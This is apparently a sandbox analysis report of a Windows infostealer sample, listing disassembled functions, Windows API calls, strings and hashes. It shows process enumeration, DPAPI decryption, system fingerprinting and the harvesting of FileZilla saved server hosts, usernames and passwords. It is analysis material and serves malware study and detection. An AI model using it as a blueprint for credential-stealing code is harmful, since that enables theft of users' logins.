Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,02650AA0), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,02679630), ref: 0040796B
lstrcat.KERNEL32(?,02679408), ref: 0040797F
lstrcat.KERNEL32(?,02679420), ref: 00407992
lstrcat.KERNEL32(?,02679510), ref: 004079A6
lstrcat.KERNEL32(?,0265D158), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,02679630), ref: 00407A09
lstrcat.KERNEL32(?,02679408), ref: 00407A1D
lstrcat.KERNEL32(?,02679420), ref: 00407A31
lstrcat.KERNEL32(?,02679510), ref: 00407A44
lstrcat.KERNEL32(?,0265D1C0), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,02679630), ref: 00407AA8
lstrcat.KERNEL32(?,02679408), ref: 00407ABB
lstrcat.KERNEL32(?,02679420), ref: 00407ACF
lstrcat.KERNEL32(?,02679510), ref: 00407AE3
lstrcat.KERNEL32(?,0265D228), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,02679630), ref: 00407B46
lstrcat.KERNEL32(?,02679408), ref: 00407B5A
lstrcat.KERNEL32(?,02679420), ref: 00407B6D
lstrcat.KERNEL32(?,02679510), ref: 00407B81
lstrcat.KERNEL32(?,0265B568), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,02679630), ref: 00407BE4
lstrcat.KERNEL32(?,02679408), ref: 00407BF8
lstrcat.KERNEL32(?,02679420), ref: 00407C0C
lstrcat.KERNEL32(?,02679510), ref: 00407C1F
lstrcat.KERNEL32(?,0265B5D0), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,02679630), ref: 00407C83
lstrcat.KERNEL32(?,02679408), ref: 00407C96
lstrcat.KERNEL32(?,02679420), ref: 00407CAA
lstrcat.KERNEL32(?,02679510), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(2F3AC020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,0265C8A8), ref: 00407E4B
lstrcat.KERNEL32(?,02679EC0), ref: 00407E5E
lstrlenA.KERNEL32(2F3AC020), ref: 00407E6B
lstrlenA.KERNEL32(2F3AC020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

browser: FileZilla, xrefs: 00410399
url: , xrefs: 004103B7
<User>, xrefs: 00410250
<Port>, xrefs: 00410206
<Host>, xrefs: 004101BC
<Pass encoding="base64">, xrefs: 0041029A
login: , xrefs: 0041040A
password: , xrefs: 0041043B
profile: null, xrefs: 004103A8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 44e3af8879f720e1e276f3fcbe3a7b3fdc503ed2e4b0ab2404bdd7ce37ead9ed
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 44e3af8879f720e1e276f3fcbe3a7b3fdc503ed2e4b0ab2404bdd7ce37ead9ed
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0265DD88), ref: 004192B1
GetProcAddress.KERNEL32(74DD0000,0265DD28), ref: 004192CA
GetProcAddress.KERNEL32(74DD0000,0265DDB8), ref: 004192E2
GetProcAddress.KERNEL32(74DD0000,02677B40), ref: 004192FA
GetProcAddress.KERNEL32(74DD0000,02677D98), ref: 00419313
GetProcAddress.KERNEL32(74DD0000,02655A18), ref: 0041932B
GetProcAddress.KERNEL32(74DD0000,02656460), ref: 00419343
GetProcAddress.KERNEL32(74DD0000,026562C0), ref: 0041935C
GetProcAddress.KERNEL32(74DD0000,02677C90), ref: 00419374
GetProcAddress.KERNEL32(74DD0000,02677CD8), ref: 0041938C
GetProcAddress.KERNEL32(74DD0000,02677DC8), ref: 004193A5
GetProcAddress.KERNEL32(74DD0000,02677BD0), ref: 004193BD
GetProcAddress.KERNEL32(74DD0000,02656520), ref: 004193D5
GetProcAddress.KERNEL32(74DD0000,02677D20), ref: 004193EE
GetProcAddress.KERNEL32(74DD0000,02677B58), ref: 00419406
GetProcAddress.KERNEL32(74DD0000,026562A0), ref: 0041941E
GetProcAddress.KERNEL32(74DD0000,02677B70), ref: 00419437
GetProcAddress.KERNEL32(74DD0000,02677CC0), ref: 0041944F
GetProcAddress.KERNEL32(74DD0000,026565A0), ref: 00419467
GetProcAddress.KERNEL32(74DD0000,02677B88), ref: 00419480
GetProcAddress.KERNEL32(74DD0000,02656400), ref: 00419498
LoadLibraryA.KERNEL32(02677DF8,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(02677BA0,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(02677DB0,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(02677DE0,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(02677E10,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75A70000,02677C30), ref: 00419512
GetProcAddress.KERNEL32(75290000,02677B28), ref: 00419533
GetProcAddress.KERNEL32(75290000,02677D50), ref: 0041954B
GetProcAddress.KERNEL32(75BD0000,02677CF0), ref: 0041956D
GetProcAddress.KERNEL32(75450000,02656320), ref: 0041958E
GetProcAddress.KERNEL32(76E90000,02655938), ref: 004195AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
